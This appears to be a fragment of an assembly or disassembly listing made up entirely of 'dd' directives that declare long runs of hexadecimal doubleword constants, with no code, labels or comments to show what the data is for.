dd 0AF2FD2C0h, 0F2CA5F03h, 0FC4C0050h, 7B6FDA44h, 6B01C2F1h
dd 753A12A5h, 9A401C6Ah, 748DCCA0h, 187A1E97h, 4DF0C85h
dd 20013B20h, 1CCE11DBh, 60D2EB5Ch, 7D639230h, 62870032h
dd 94A08AB3h, 0F80FAE0Eh, 1F8BE0DCh, 7D82D240h, 0A7E42072h
dd 0CCC5C038h, 7E0359BAh, 0EA78F432h, 0F7C2A86Dh, 6E740664h
dd 301F337Bh, 9BD060DEh, 9EDEA5C7h, 0F8CEC0E7h, 44CBE240h
dd 9DBE006Ah, 0D51662D8h, 0E0BDC94Ch, 4B4750h, 1BA08817h
dd 7C60659Fh, 0FB2A7100h, 0C73790DAh, 1A72074Ah, 0C07835FAh
dd 0C66B7C96h, 88DF777Eh, 0CE9365C0h, 0F472888Ah, 70630C83h
dd 3B21D43Ah, 0BB652107h, 0A0EE3096h, 0E842CBC2h, 854E0151h
dd 0DAD6FE8Bh, 1E68802Dh, 0C85C15FDh, 0CA4303FFh, 95ADE072h
dd 59A0BBA3h, 0DC5C2523h, 4CC003Ah, 0EC75F64Dh, 0AE07002Ch
dd 2BF7848Dh, 350093CAh, 5313378Eh, 3C103EF0h, 3400577Eh
dd 0E5D80D3Dh, 997C2F70h, 0FD0F817Bh, 7F9763h, 0E840419Ch
dd 414036Ah, 5D217135h, 0AA2D7D98h, 0F81363Eh, 0E19A012Bh
dd 11A62390h, 279B60D6h, 0C645005Dh, 0D9849E06h, 0B6015A4Eh
dd 9A6E8E68h, 0C6206F02h, 98C30074h, 8F292260h, 2A0EE4E8h
dd 3AA899Dh, 0E80719B4h, 39CCCA14h, 0A90001E2h, 6283724Ch
dd 4000A796h, 0DA5E3666h, 908699B7h, 0CAFD0324h, 3AB5AFB2h
dd 0F61FC0EFh, 653E159Fh, 7AED8319h, 0C0270C2Fh, 38424718h
dd 550FE738h, 0BD604C86h, 9901D7E8h, 0F12F7301h, 1B4FBAC9h
dd 933730h, 0CDB3FD9Dh, 0A03A8E9Fh, 0A7F31A00h, 886B74Dh
dd 3E9A7D84h, 0F982F745h, 30A115A5h, 0B627A860h, 98C7EB07h
dd 61C0A814h, 31873F2h, 0DCD93B0Dh, 0D7B011B1h, 2C0E12B6h
dd 22797CD6h, 0C06A5180h, 183FE719h, 5022CAC1h, 4B009DF2h
dd 0B04918E8h, 4C26AABh, 0D11E8994h, 9923801Dh, 0CC00E563h
dd 0ABFBAE4Fh, 29F6F37h, 41E15354h, 56E0E95Ch, 5600A774h
dd 758D9C07h, 4BF951h, 94E59ABDh, 95571018h, 9021A300h
dd 9F3CFE8Eh, 33DFCC2h, 385DC78Ch, 75A82FDEh, 85003F8Dh
dd 1C3143A4h, 4AF5401h, 0B5DAA70Bh, 9287C361h, 48D212F0h
dd 9645F600h, 94DBC05h, 0FA94007Fh, 27C254E4h, 8E003881h
dd 20BA6E61h, 0E58B4Bh, 0B936CAA8h, 4E4523Ah, 7696A00Ch
dd 5E18866h, 9B93BA45h, 55D1C0FDh, 4005DC8h, 36995423h
dd 0E0852Ch, 0F4E1D843h, 76F3131Dh, 7C00037Dh, 0C916093Fh
dd 0DB846Fh, 8C9E737Dh, 0DCE25AA1h, 0FFEBB500h, 0E8F160CFh
dd 7ADF00DEh, 1D8C6C76h, 83007345h, 4750B922h, 0F815653Bh
dd 66AF0052h, 0B285D84Ch, 6800584Bh, 9BFF51A5h, 7EB66935h
dd 384C3AADh, 0A3836580h, 0A6B28FCh, 14F0055Ch, 3DC1E7Bh
dd 0D477739Ch, 6332E804h
dd 47E40011h, 9A695FC4h, 1D245C7Ah, 3B004492h, 8E273FE3h
dd 0EA340E2Eh, 0AB60C65Ah, 0EC72B36Eh, 80D36F3Eh, 0DB3FA254h
dd 39CE29FAh, 7AA69Fh, 8E632150h, 5112C6D5h, 75588890h
dd 300900C6h, 3997F69Eh, 474F00BBh, 24A75F31h, 67001259h
dd 5C76C1D2h, 19D8CFEh, 0C53A7843h, 81D852A2h, 0BCA6D408h
dd 59FC6598h, 0A4B548CBh, 10FB300h, 0B8C52CF6h, 221AC000h
dd 0B78A906Ch, 3F0200ABh, 55CB9CB1h, 15004F9Bh, 0C50E1433h
dd 1BD9EBh, 56AD3647h, 0D17E790Bh, 0D76D8500h, 42068EABh
dd 0E789075Fh, 0A0957521h, 9EDB099Ch, 0BD0A3F00h, 0E3D7A8B4h
dd 88020067h, 0BB2E6683h, 6B00B5E0h, 79864C3Ch, 7FE7D307h
dd 9A083020h, 6891D220h, 85895403h, 80AE6A43h, 0C56E8Bh
dd 9C3F994Ah, 1CE21F81h, 89EEE400h, 23164483h, 0BDC00BA4h
dd 89F5FE25h, 97807F09h, 650CD43Dh, 2635F60Fh, 28B7838Ah
dd 8D4AC9DCh, 7FE1BC34h, 815303A4h, 21301B93h, 15B0D7F3h
dd 8D1C3BA8h, 5FC12EBCh, 7A09E37h, 7D190F0h, 0D952CEF2h
dd 7A981112h, 0EC9831B0h, 83E2ABCBh, 0E8E6C9F3h, 66009E22h
dd 1F03BF60h, 342FC3h, 18391509h, 7E28CA50h, 0A27B9DF6h
dd 391B8448h, 5FF29C36h, 0FF254080h, 0EDD6E4Dh, 0B00A643Fh
dd 930E7A0h, 7700E092h, 9A673207h, 1CDEF5A5h, 40D53A1Ah
dd 0EB3534AAh, 1676C739h, 4F888200h, 21DD2799h, 0E01D0006h
dd 56B013D1h, 320FDAE2h, 0A0DFE688h, 0BE8E0311h, 362C0740h
dd 8025F9FAh, 0E97A8F7h, 39309F1Eh, 20F6B9CCh, 0A57B1C03h
dd 176C8042h, 0D41FFFC3h, 4E04557Ch, 2665F72Fh, 994D54C0h
dd 0FDB00CBh, 63558C51h, 31E41ACh, 1A40965Ch, 0B344FAE8h
dd 77390002h, 8F826BCAh, 2B001F23h, 2A632597h, 328C7Ch
dd 57301134h, 2D2FD709h, 752FE26h, 5D709C05h, 0AEAD9C0h
dd 0DFEAFh, 52400966h, 88E52407h, 3786CA00h, 1C658E3h
dd 955C00BBh, 2ED208AEh, 3A3B7F33h, 6BE40007h, 203FBE05h
dd 0E09E00FCh, 4CE1F6F3h, 31EAFD2Dh, 2A795313h, 0A1551840h
dd 6002CCh, 3D4F66D6h, 9EDC9689h, 0DEA73A00h, 0E71E75F1h
dd 9D330060h, 0A4048E0h, 0C0014C3h, 5935D9E6h, 0B9050E8h
dd 3D93BE0Bh, 9B413101h, 9608952h, 71D400CBh, 1784E8Fh
dd 0CE44027Ch, 0ED17D469h, 42898754h, 19E401h, 62134A68h
dd 3612006Fh, 2746F074h, 6B982CC0h, 0F818F3F8h, 0A21033D6h
dd 23F0BAh, 0AE752A93h, 66A66DE5h, 0BF9F100h, 0B6D1A128h
dd 79830067h, 1D37073Fh, 42000449h, 86B8CB8Dh, 18AD8AEDh
dd 89466AEFh, 3000E076h, 4A3EF407h, 3C09DE97h, 360908C3h
dd 8807B2Ah, 0BFC8D286h, 2E61187Ch, 0A0A1D1E9h, 0FBE01C61h
dd 0EF22003Dh, 0AEACD59Fh, 0DC18B289h, 4121B724h, 90A486h
dd 75572F67h, 7782F269h, 0ED5C39h, 2E43CDDh, 1A3DE29h
dd 5997B7Ch, 0C1BC2B07h, 0CEE48141h, 101A4284h, 331A4D4h
dd 36FDE1CDh, 5E90F54Ch, 0A100E924h, 0CCA59F2Bh, 490B054h
dd 0E42DCE6Dh, 2F80AFFCh, 986A69ACh, 4DE30024h, 532494CAh
dd 0EC02929Ah, 0B9BEDBAEh, 0B8805FF7h, 0BDCC1A26h, 513CDC12h
dd 0DDE100EFh, 3717976h, 0BD1A260h, 1E4FEE8h, 3CFC961Dh
dd 0EC21E313h, 52EEE929h, 0C633F8A8h, 39A9E600h, 4E7DF8D1h
dd 0CAA3005Bh, 0DBFCE3B0h, 2C069850h, 600618C6h, 7C940058h
dd 3B8EBA63h, 0BE00A4B9h, 0DD4C135Dh, 2B4430h, 971F7139h
dd 0AFF07063h, 10117F00h, 3725E691h, 31C6006Ah, 0C91997B6h
dd 51005DADh, 669D8778h, 20FFF9h, 5CBA36A6h, 990DD9Ah
dd 245E2C3Bh, 8201F5B1h, 0E7836926h, 0B8E35021h, 7D2434Dh
dd 0F2283EBEh, 2C11088h, 0C7008412h, 24A88D2Dh, 41B4F4h
dd 35B31DE6h, 231EA22Fh, 930092F0h, 0B8E8DF54h, 0CA9B6Fh
dd 0F4FE7A6Ah, 1B905E5Bh, 351E511Eh, 0B5E2BD80h, 233076h
dd 26B07EF1h, 4FF93A77h, 0EA393261h, 85F048DBh, 0DF89003Ch
dd 0FFD1F1F4h, 0F4E1E48Ch, 991A93FDh, 80308494h, 7A598237h
dd 0B9AA4885h, 71EA800h, 93D6BA34h, 0EB158F00h, 0C117675Ah
dd 0D7FC00D9h, 141958D8h, 7F00CC2Fh, 0B03541A1h, 37152D2h
dd 0E030F42Bh, 600290CAh, 59875475h, 0E94FC0AEh, 9650023Fh
dd 4049E27Eh, 3A1935C0h, 53806F61h, 0D330F6h, 6D185038h
dd 28CC9736h, 0D3727AEAh, 863E3F00h, 69B7AC56h, 514C1846h
dd 0FCEE3094h, 1DC703Eh, 6192F6A6h, 63E80B42h, 6049608Ch
dd 20043006h, 0EB2F9E03h, 0D0F5EDB2h, 7D8C543h, 0BF325951h
dd 0E0DC4745h, 407C2263h, 386CFB00h, 42E48875h, 60BD00F5h
dd 0AEC470E9h, 0C2007C43h, 97D3D2FBh, 13F28h, 0B4811775h
dd 0E1166FCBh, 6D438E00h, 39E28C2Ch, 77208h, 0DDA898B5h
dd 6B508914h, 0BB029F76h, 0AF421228h, 0F05560CCh, 902E010Ah
dd 408B24E5h, 8912C427h, 0CA0AC47Dh, 20D90581h, 8CF4CB58h
dd 80225C3Fh, 1883F599h, 8D288Ch, 0D2FC2E1h, 53844427h
dd 0F9BFA23Ah, 3261931Fh, 6C374203h, 5B490B6Fh, 0D08AC4B2h
dd 691D99h, 6774229Ch, 0DC79C5B4h, 984E571Eh, 8E5FDA81h
dd 77209672h, 50E87Dh, 7FB53B4Fh, 0A0140D07h, 0BE75FB01h
dd 7A33C357h, 0DF6E0E60h, 39CDDF28h, 13E8D01h, 4080C295h
dd 0F29A89A4h, 726ADF03h, 0AD7D99B1h, 8359A800h, 0B025BE12h
dd 0C194000Bh, 47376478h, 0F1605ECEh, 46DABBB8h, 28DE8B7h
dd 0A28675F5h, 80B38C67h, 1A732DF0h, 405C9023h, 0E2AD6EB8h
dd 0DC8A9602h, 838726E0h, 0FA8C53ACh, 0BEF0A077h, 0DD4AD0h
dd 0ECB96D67h, 452D726Bh, 0C700D277h, 0CBC95127h, 3056836Ah
dd 44E05038h, 0F400C8CFh, 0E5DAEC85h, 0A126A5Bh, 86284CFAh
dd 707E0180h, 4E3F9E06h, 90293A20h, 8A80EF3Dh, 0B9B51598h
dd 723E3C3Eh, 0A712AF02h, 80C8E1B2h, 0DB8B96A4h, 0F107032Dh
dd 0D50E7661h, 9830E47Ch, 0B250207Ch, 0CC3E0036h, 8B2FAA70h
dd 610021B7h, 8DE5D16Ch, 0BEE155h, 146ACDA8h, 0CC44AA2Eh
dd 0B2A1930Eh, 0CFBB6FDDh, 8C55E21Ch, 8E544034h, 49E40036h
dd 67C37C0h, 433F0A77h, 960C80C7h, 6D7505A4h, 1DB30ECAh
dd 0B6A0FFD3h, 13C214FAh, 89272400h, 7490A9Fh, 0D0030FB2h
dd 35E8D3Dh, 4C5866AFh, 0FB9D2C98h, 0B200D378h, 45BD6C1Ah
dd 18179943h, 0D869FECEh, 0C50002B7h, 86033E85h, 0BABF5Ah
dd 0A6063657h, 37545E2Ah, 0D6D25501h, 615BF389h, 4F60F20h
dd 1BF53B4Dh, 146C90BEh, 0FA079439h, 0AF384259h, 92705347h
dd 61770B6Ah, 0C1D1385Fh, 0EC73EC28h, 1CA3DD00h, 0B793DCD5h
dd 6FFD2AC9h, 63D200B4h, 0F8D79E04h, 62067821h, 0E17F89B3h
dd 85480068h, 1158E53Fh, 0A63D0CAEh, 74EF00F5h, 362507E9h
dd 24280046h, 0EEE8EDD8h, 0F8004EB1h, 0CAD41F15h, 7E59090Eh
dd 514903A2h, 9DC763E4h, 1BACEC0Eh, 80CA6EB2h, 0CEB7C3FAh
dd 962300BBh, 8B4FD095h, 2B372F0Ch, 9E30F8h, 961AEC36h
dd 531E007Fh, 665CBD10h, 63E958Bh, 29045225h, 0D1560CE0h
dd 45A11808h, 9BE2C035h, 0B4345800h, 2C435E99h, 8B70AE7h
dd 40C9E48h, 445C672Ah, 6621A437h, 42DF0862h, 9B0E0841h
dd 0BCEE8451h, 909A4E6Ah, 6CAFF382h, 108FA222h, 24A0AD4Fh
dd 1184853Eh, 10593A20h, 21829C46h, 12226F09h, 2A5A1032h
dd 0ED6E0CA1h, 0F5C31350h, 2FFA3004h, 843C421h, 23374036h
dd 0B6339314h, 0DB9B00FCh
dd 354303A0h, 11202A2Ch, 0DED800A8h, 2283A7A9h, 1A3B0A89h
dd 0B8982806h, 5ED00900h, 0A9D515DAh, 0F0460A23h, 0C03C3Fh
dd 4E7CED7Fh, 0C4487716h, 484C0214h, 482ED97Eh, 3A97848h
dd 401B35DBh, 89DB854Bh, 0F82DDAC1h, 61960FAh, 1408452Ch
dd 752220ECh, 0E4E0F4h, 8061FBA6h, 3EB6090Ch, 154D8E15h
dd 8438094Ch, 0E140209Dh, 0F2EF8521h, 116E00C5h, 345AEC9Eh
dd 807AF0E2h, 16B7DD00h, 89F57C9Bh, 0A3EE0042h, 5BB29D08h
dd 0B6006432h, 2475139Fh, 2E86C28h, 0EB8BCE6Ah, 1CB1B8D1h
dd 0A2281A0Ah, 1DB5E0BBh, 8078F3D5h, 3FFDDBA7h, 0B12B41F6h
dd 67E0C092h, 891E6Ah, 0D2379046h, 39C5DABFh, 47148051h
dd 9DDF61C0h, 7346E021h, 8486E50Fh, 0F7B020B6h, 3A6830E9h
dd 15A99FCCh, 5D58005Ch, 1D56D6Ah, 0F10082EAh, 9DC1DA7Fh
dd 24B45399h, 1313A1h, 48372176h, 0D809C751h, 81420259h
dd 927445CDh, 9B7C024h, 0E6408584h, 0D7D1B400h, 0D43BE25Fh
dd 34C48CA6h, 0CB298Ch, 7144969h, 0E0DED5FEh, 84BCD81Ch
dd 58A3CE4Ah, 0ABED115Eh, 901FA8FEh, 34C855Ch, 0E097CD09h
dd 90AECEA0h, 0F4C39400h, 2ED0D5D7h, 0BC95589Fh, 128DC701h
dd 608B1A97h, 409A8ABFh, 0A3231D07h, 0DBB30E8Eh, 7B313822h
dd 9BFFE283h, 9890E8B1h, 83ECB70Bh, 0EBB4F904h, 748C2D36h
dd 0EF192134h, 0F45A78h, 7754A0E7h, 0D9845C20h, 0D101F0FCh
dd 96193F92h, 40D21015h, 805ECFCCh, 0F49AD467h, 0B9C6801h
dd 0C023D010h, 7E1C8050h, 0F34F0151h, 61C947E7h, 0F0AC4AF5h
dd 478E5Ch, 4DEAAD63h, 879143F5h, 0A0942A48h, 937FB061h
dd 461682D4h, 44BF2EE3h, 84884D8Ah, 58499D80h, 0F1D5F3EAh
dd 6B800433h, 0A0EAFB0Ah, 0BBA3A601h, 6A4D4A6Ch, 12AE35C0h
dd 3A0165BDh, 0DC4524E8h, 54CAD0h, 30860E8Ah, 81B71FE7h
dd 0DEE97B26h, 0C0847E15h, 991D01Ah, 4CB72802h, 93E801A0h
dd 0B05D55Bh, 0AC0F456h, 4D4B4E07h, 9EAFD4EEh, 5E5DA880h
dd 39E86B6h, 3766E846h, 81001BC0h, 94B0A106h, 10B82D9h
dd 67E6E916h, 306DB64Ch, 81220664h, 0FE820012h, 56156B6Ah
dd 0E6F4F1D6h, 64885224h, 7DB18955h, 0F5F008B0h, 0EF4E2C05h
dd 8313FF64h, 348D7000h, 74099097h, 22BB3EE4h, 570CE124h
dd 216AEB00h, 9D65356h, 4F58C6B8h, 9F180421h, 83E7C401h
dd 84B7E05h, 0FC2AEE5Dh, 0EBA68CCFh, 690AC823h, 0F40D8381h
dd 3650D680h, 38F1743Fh, 8052EBAFh, 2CEF909Eh, 20F42803h
dd 0E8997EAFh, 0C08090C8h, 0EA4DE712h, 18204C07h, 2FFF1101h
dd 0BC8D6FEBh, 10E03630h, 10956048h, 54127C71h, 2831C463h
dd 0C75BD932h, 3BB0118Fh, 3FBE264h, 168115AEh, 3C3C578h
dd 0A03031FCh, 600E62E9h, 3961B920h, 34225F38h, 61E94021h
dd 337174E5h, 427020h, 0C68F648Ah, 0CFC5F85Eh, 892BC800h
dd 61063CCEh, 9C53555Dh, 0B3570C50h, 9D84A020h, 401B6E84h
dd 6CBFA001h, 6E9C70A5h, 0A8C5E904h, 90228Dh, 134BB78Eh
dd 19EB11h, 141DE0F8h, 0BF06846Eh, 548E1395h, 37BC02A0h
dd 589FB7A7h, 0CDD5E4A0h, 90A8AE0Ah, 90932325h, 0B69DF484h
dd 639448C0h, 0E24C984Ah, 15C8A4AFh, 0DC16DD96h, 13E3F301h
dd 7012D162h, 97248704h, 9101DFD7h, 0A3E91E6Bh, 0CDE73440h
dd 590E3015h, 8824A088h, 8BC0F601h, 0EA191290h, 7DD53188h
dd 8F0DCB03h, 241FF85Ch, 489F6F45h, 7108843h, 59B48006h
dd 31CE04h, 914952B7h, 0AB7A2E44h, 0C85CC728h, 6C7DB1F0h
dd 0E03988B2h, 66A20305h, 914F7C56h, 1081FDE6h, 76FCF9EBh
dd 0DD0FCD8h, 426B49C0h, 29721C6Fh, 220988Eh, 9E0997E5h
dd 2DC1188Eh, 4D8F4B7Ah, 84589D14h, 2B801469h, 321C6EE8h
dd 118D1298h, 30401145h, 70A3C984h, 0E23890Bh, 3917A511h
dd 738E8585h, 77A49C38h, 10198BB0h, 23222332h, 38523942h
dd 9D562ECBh, 43240830h, 0ABC7D9h, 9752101Eh, 0FBEFBE01h
dd 7BECF7E6h, 79119C4Eh, 0CF8BC075h, 575262FCh, 9C2B38C4h
dd 0CA6B0818h, 64F8D20Ah, 139AD9E2h, 0CC8221D2h, 1894EF64h
dd 0DFBF3E05h, 0CC4203B4h, 0B81D3C16h, 1CE19044h, 9402EAFCh
dd 0B002CD1h, 0B2100638h, 72E81C8Dh, 8EB050F7h, 0B4A513A7h
dd 6BAF70B0h, 7E50A4DAh, 0A01B50EBh, 3D0374C0h, 1139C512h
dd 136D4B89h, 0E1484888h, 18175854h, 40CE63CBh, 503F7672h
dd 0F2A0E332h, 598003Ch, 7BEF8784h, 4BF9D42Bh, 0B3CF0850h
dd 93ABC0E1h, 0E52B0684h, 2C8244FBh, 0A3E31C82h, 7D78B18h
dd 15FEEC9h, 9288FCE5h, 85291C1h, 73E16255h, 0E12A885h
dd 0A89C0B38h, 56650C07h, 5505103Ah, 0C7BBEFB4h, 678A42Eh
dd 1BEE4B1Ch, 9263F9AAh, 1EFCB260h, 0F15B7210h, 413D5518h
dd 0F2E7E3B0h, 0C0CF89Eh, 60E470E2h, 75F0921Fh, 1BEC1AC6h
dd 0E08C509Ah, 19628869h, 4725C2C8h, 67B030CCh, 168BE178h
dd 7E2B51h, 29B8A5E5h, 0C757B262h, 0D0640244h, 10D1EA12h
dd 56016E0Bh, 1153593Fh, 703251D7h, 0D5EF7098h, 9FA12621h
dd 43412EBh, 0DE9D21D0h, 80253A88h, 53871BF0h, 6A306B75h
dd 5100F00Fh, 0D9E9CB43h, 2B90503Eh, 65520671h, 728081A8h
dd 2980AAEEh, 3FEBAD2Bh, 0C8C5EAF9h, 60308999h, 31E8E350h
dd 0ABF1313Ch, 1C59DCEBh, 8018E552h, 909C88A8h, 54E9C732h
dd 0C7B9C2B4h, 13635E38h, 4210AF50h, 6743D70h, 8F80B045h
dd 9A8AAF77h, 0AB4002FBh, 0A5064AD4h, 8F013CB2h, 805E211Ch
dd 0BAB58B0Ah, 0FC41C501h, 60049106h, 22DAA92Eh, 686BD9C0h
dd 3A450170h, 85097397h, 980275D5h, 0D467E88Ah, 0EDEC4100h
dd 1BF8E62Eh, 406C4B40h, 0C81871FBh, 0A510A085h, 11242455h
dd 0BA2858D8h, 0AF61DD7Bh, 87EE2BD8h, 3C03944Eh, 9B69726Eh
dd 200B680Ch, 2BFEA08Ah, 824C06C8h, 0D884AE7Eh, 0D4EBACA1h
dd 0B7F9F0B0h, 1974B374h, 80A07B53h, 0FD87F650h, 0CB90C699h
dd 0D90A3842h, 180DD4CEh, 24D185E0h, 0AB80A813h, 6C539B0h
dd 2B036056h, 9849ADB9h, 9E8B5814h, 0EF4DC024h, 0B2D36C44h
dd 0CD2FCF4h, 0B6643996h, 0DCAE8DB8h, 9345FE03h, 8874F6A0h
dd 24C8BB4Bh, 507459A3h, 6B187B67h, 2B284B87h, 3950C912h
dd 0AD483014h, 0F37E18B0h, 0F56C0B28h, 1C809C23h, 31135320h
dd 97CDEB81h, 0C008A441h, 815F898h, 6640A6E5h, 3FA00259h
dd 2C8CCAD9h, 0AB533CB8h, 0F0471C2Ch, 418BD042h, 0DC202080h
dd 405B6385h, 409F2359h, 3C510A79h, 0DE601091h, 61BCB0CFh
dd 4DABC0D1h, 80A42391h, 9A45C7E2h, 8B28C0D0h, 0F93C1F3Fh
dd 57E0263Bh, 2BE30650h, 23165BCh, 96D58A6Bh, 7467B099h
dd 5F6DAC83h, 4B89162Bh, 923C02CFh, 5441DF35h, 143C786Ah
dd 7F98C3D2h, 9BEC2204h, 6882B6FCh, 0A5E5608Bh, 62562633h
dd 0F4DC5970h, 1F40FAA4h, 0B020302Bh, 0ECF6E738h, 24982E90h
dd 352E6516h, 0EB19AC16h, 6460E870h, 0AFC23E05h, 953DB0Eh
dd 6F863B80h, 0D160B21Ch, 10D5CF81h, 59B900C5h, 0D7031BEFh
dd 6D59B21Dh, 85E30FCh, 14224CC5h, 0B40C8507h, 28E7650Ch
dd 25626110h, 0C1DF5488h, 0B8617E20h, 0A02884Bh, 0B8E9EE98h
dd 60583849h, 3626928Ch, 311218AFh, 4D250005h, 19724480h
dd 5208CCFEh, 820E45A8h, 82C5072Eh, 45921C90h, 0AC7601CCh
dd 8AEDC259h, 0A890EB60h, 0FA651205h, 116C409h, 8EC38534h
dd 982705E0h, 629BE850h
dd 1F64280Fh, 0E09E7863h, 3C6363E8h, 22CB89E8h, 90A53708h
dd 8E107D3Ah, 0CB0C0D2Ch, 0BBB80C81h, 0C6F9C4A3h, 2620703Bh
dd 0CE607865h, 0E565B803h, 84884C2Ah, 7BAFF3A0h, 6CF46724h
dd 0DD31F87h, 4589FCFAh, 65280169h, 0A898D8AEh, 80051079h
dd 4AC570C1h, 66F00CA7h, 0A0B0C474h, 37308351h, 0D1D4C1ECh
dd 0A1488947h, 8B08027Ah, 0D4C8C086h, 50149077h, 3345C4A6h
dd 0C618091Ch, 0BCBB200Ch, 669F1099h, 20013834h, 94A27B18h
dd 0A0AE0E68h, 0C1A15E0h, 0AC8CE512h, 14611C18h, 0CA5E3A0h
dd 5420C0F1h, 3322335Bh, 8874A450h, 8AF09E41h, 319BF832h
dd 31082FD1h, 71DC4182h, 4BA020E0h, 0A40C68DDh, 0C384F0D7h
dd 859F2520h, 84610828h, 77274518h, 8371D938h, 53028E6h
dd 0B445087Eh, 24589875h, 0B9819E4h, 7C03F67Ch, 201B8416h
dd 0DB38DF15h, 4110308Eh, 120CE570h, 72481890h, 4A920C1Ch
dd 74128D6h, 58BBECFFh, 32DB4121h, 378C2027h, 0B2101109h
dd 189860E9h, 48C4A06Ch, 0F21C0AA8h, 0AA4BE81h, 38C0B1BDh
dd 2FE0B051h, 5058C19Ah, 0F4F262E8h, 9B35EE4Ch, 2F0E08BDh
dd 441240A6h, 33851024h, 0A910AB33h, 24B2583Ch, 6B18E434h
dd 48D97B30h, 0CA264CF2h, 0EF1B0940h, 57857002h, 0E4D2A840h
dd 14101325h, 3CD50400h, 0D1E17980h, 437EFCA0h, 0A00AF0B4h
dd 909338E5h, 14C09214h, 14E48A05h, 10F0357Bh, 1B0CA9BBh
dd 0F270CFA2h, 0B4A250B8h, 937530A4h, 0F9312044h, 76BBA002h
dd 20A5C420h, 5326AE09h, 0D29210C8h, 0AB558806h, 8A183320h
dd 10004450h, 4130BD25h, 0E815772Ah, 3FEC034Ah, 17C0CA46h
dd 0F79F181Eh, 39B6A07h, 41808F8Eh, 4052DDA9h, 3A491DD0h
dd 0FC0FACCBh, 5F1EA873h, 0C5FD0D55h, 79EED028h, 4FB118C7h
dd 78505DC3h, 299C2008h, 7583C3Eh, 0AFDE57BDh, 701446h
dd 0AC30F40Ah, 9F087A7Dh, 0B3D8FD00h, 0A7559D9Eh, 5F8A3041h
dd 0DE87EA08h, 0B60EA0C0h, 685D9Eh, 4ECA8BB1h, 0D4AA956Eh
dd 0DDAC0701h, 0A4186B5h, 0C8872A21h, 8388C6BBh, 0F8180E13h
dd 0F83823E5h, 0DAE1E922h, 3878A9E4h, 0F780C864h, 454F5AD3h
dd 0F003F534h, 0A8714B04h, 4654B03Dh, 85071EAh, 0E025AA8Bh
dd 56CC3BC0h, 0F6A41E2Eh, 9233C0F0h, 386E1DAFh, 2C7D9A0Ch
dd 0CF78781Fh, 20D48A88h, 0A1F8CAh, 0F34CABE8h, 97511CC4h
dd 65341894h, 8F00F5F6h, 24F3443Dh, 1D9B3CA6h, 32FE69Dh
dd 0A87454DDh, 0AC13E0A7h, 0B505B8FDh, 52013DAFh, 5BE7E007h
dd 0CA2B5DC0h, 7D4A1446h, 54249818h, 0E0B39500h, 18111018h
dd 1490E1AEh, 0D8EE8A28h, 0A41C1D28h, 6420CB6Fh, 801FBAh
dd 19A8DD6h, 9B3AC4BDh, 9039A37Dh, 0FD15AA90h, 81388804h
dd 449084C0h, 1BAAEA18h, 0C5426468h, 0CED2660h, 2A9852B4h
dd 81A0B33h, 9DA9C82Bh, 0E07363FFh, 8377663h, 0B2828092h
dd 0C63040EDh, 0F008C62Ah, 9933C853h, 0B6E73840h, 18446329h
dd 7DE159C8h, 1238BA36h, 440715D7h, 3DC35C5Eh, 662170AAh
dd 706E3051h, 28C62DF8h, 0F80829FDh, 3C1648FFh, 9D103730h
dd 18C6E96Dh, 3370464Ah, 8A80E162h, 0E0C91110h, 0AAAF064Eh
dd 7A98083Fh, 21480961h, 4BD19F01h, 496A7C20h, 0CD24B062h
dd 0A33D0870h, 8E38A0Ch, 743549EAh, 0F0737B7Fh, 20E965F4h
dd 0CAD40222h, 69039248h, 18681428h, 2602E014h, 740A40B2h
dd 806E48Fh, 6531A0E7h, 0F53770CAh, 0F653A88Ah, 0E8751BA8h
dd 10F726A7h, 90047D32h, 0E4A44862h, 266AE85Eh, 0F046CB8h
dd 0A83B4E3h, 8AE0BE0Bh, 0A8CC8FE9h, 314A88CAh, 2770FCBDh
dd 0D4BC4135h, 8210BCE5h, 8192C48Fh, 0B3184082h, 12C51239h
dd 0A08470ACh, 2424969Bh, 840998BFh, 0FBE43816h, 82D19A7h
dd 0F9E420BCh, 0F4DC423Ah, 0A7D9840h, 24DDE0C5h, 3FBF2C30h
dd 443444C3h, 0DD38BD61h, 0EC433E77h, 34387B14h, 8AF0B32Ch
dd 0AB097C20h, 333C213h, 0B530A4D0h, 68F1940Dh, 0C9B2EDD0h
dd 0B4805BD8h, 47B469CAh, 0D24458E9h, 558C0B2Ch, 0AB048833h
dd 754826C7h, 60B02848h, 6D81C029h, 1499EA84h, 0EB5E4A40h
dd 40BD6FC0h, 0CCB4D56Fh, 58A670h, 0E9E83A53h, 0C4F0C996h
dd 0CC0D848h, 0E8FA520Ah, 80EF48B3h, 74D81328h, 12D4901Dh
dd 0F7E452Ah, 0D8D9BBC0h, 0D8CC2153h, 818074CEh, 8D38C940h
dd 4BD1BC23h, 72949DE0h, 0D5EA8B00h, 227D9C45h, 8A950E77h
dd 1D828EA3h, 0C065B4h, 9C785996h, 0AF934F00h, 40ADC07Dh
dd 90C9EEAAh, 72D8034Ch, 669ACA95h, 0D9A02CA5h, 99FB800h
dd 0FC6E60F3h, 36CF0786h, 2E923715h, 0BD9A880h, 0D8074882h
dd 9824421Ah, 8CE702F1h, 13FFA2FCh, 0BE50374Bh, 81CFCF00h
dd 0E83A26D9h, 5C6E3061h, 0E89537FAh, 0D5296474h, 968118FEh
dd 7DC22EF7h, 9768BC00h, 155370Ah, 92401450h, 0FA800257h
dd 1C6E0CB0h, 0E6A0C9F0h, 18908A66h, 0A6750560h, 604982A5h
dd 3AF36A20h, 344D5E00h, 68B67C6Eh, 4CB50A37h, 0E064D91Fh
dd 9EEB9A34h, 0DC304C60h, 1A3102C7h, 385E1FD5h, 2D091830h
dd 647F8F00h, 473C6DB7h, 530E98ABh, 0DD0044DBh, 63BEDCCCh
dd 9C186C11h, 97B8C85Eh, 2835E8AAh, 0FE946529h, 62DE0020h
dd 0C2DF0731h, 32146F84h, 0C13C7475h, 0E99CB512h, 8AA3FC10h
dd 586848CCh, 83DD3095h, 15E06E40h, 2D3E2273h, 33C11932h
dd 0F0470808h, 8E44CCEh, 0F9A7CF2h, 0DF124DB5h, 14DB4280h
dd 0FA629362h, 3B40D10h, 0A2E0DEE3h, 0E2F0B277h, 68C705FAh
dd 82C1B529h, 0A2E0EB71h, 163F3EA7h, 18E3D33Fh, 401EF842h
dd 243FD85h, 0C1163A4Dh, 0E2D0472Eh, 0DE1D06EBh, 207C91C2h
dd 0FFD04141h, 0E3CBF922h, 8182E27Fh, 1630FD04h, 80310BE0h
dd 10C7B65h, 0A0ECCDF5h, 10A14810h, 1F9E747Fh, 3CE03262h
dd 0F0E37D18h, 448FFE4h, 0FFA3A4Ch, 0E6C4B815h, 1A85D95h
dd 0BE2E742h, 9BE97762h, 0C2E8BEC0h, 0C28083C4h, 21818D6h
